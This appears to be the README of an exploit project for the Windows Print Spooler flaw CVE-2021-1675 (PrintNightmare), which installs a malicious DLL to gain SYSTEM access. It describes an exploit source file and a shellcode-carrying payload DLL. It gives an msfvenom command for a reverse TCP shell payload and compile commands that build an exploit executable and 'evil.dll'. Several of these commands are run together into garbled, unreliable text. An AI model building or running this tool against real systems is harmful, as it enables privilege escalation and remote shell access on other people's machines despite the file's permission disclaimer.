
Local privilege escalation exploit for CVE-2021-1675 (PrintNightmare) that installs a malicious DLL to gain SYSTEM access on vulnerable Windows systems.
src/nightmare.cpp: source code to exploit CVE-2021-1675 and gain system access
by installing a malicious dll
src/payload-dll.cpp: source code for dll with malicious shellcode in entry function
!!Only use against servers on which you have permission to test
CVE-2021-1675 is a vulnerability in the Print Spooler Service of Microsoft Windows which allows an attacker to bypass the SeLoadDriverPrivilege check. This can be leveraged to gain privilege escalation on the target machine by installing a malicious DLL which calls shellcode or uses the Window API to establish a reverse shell connection. Versions of Windows 10/8/Server 2008/Server 2012 before June 8th, 2021 are affected.
$ msfvenom -p windows/shell/reverse_tcp EXITFUNC=THREAD LHOST=127.0.0.1 LPORT=4444 -f cx86_64-w64-mingw32-g++-win32 -o ./src/nightmare.o -c -g -Wall ./src/nightmare.cpp
x86_64-w64-mingw32-g++-win32 -o ./bin/PrintNightmareLPE.exe ./src/nightmare.o -lws2_32 -static-libgcc -static-libstdc++ -lole32 -lwinspoolx86_64-w64-mingw32-g++ src/payload-dll.cpp -lws2_32 -o lib/evil.dll -sharedzip ./bin/PrinterNightmareLPE.exe ./lib/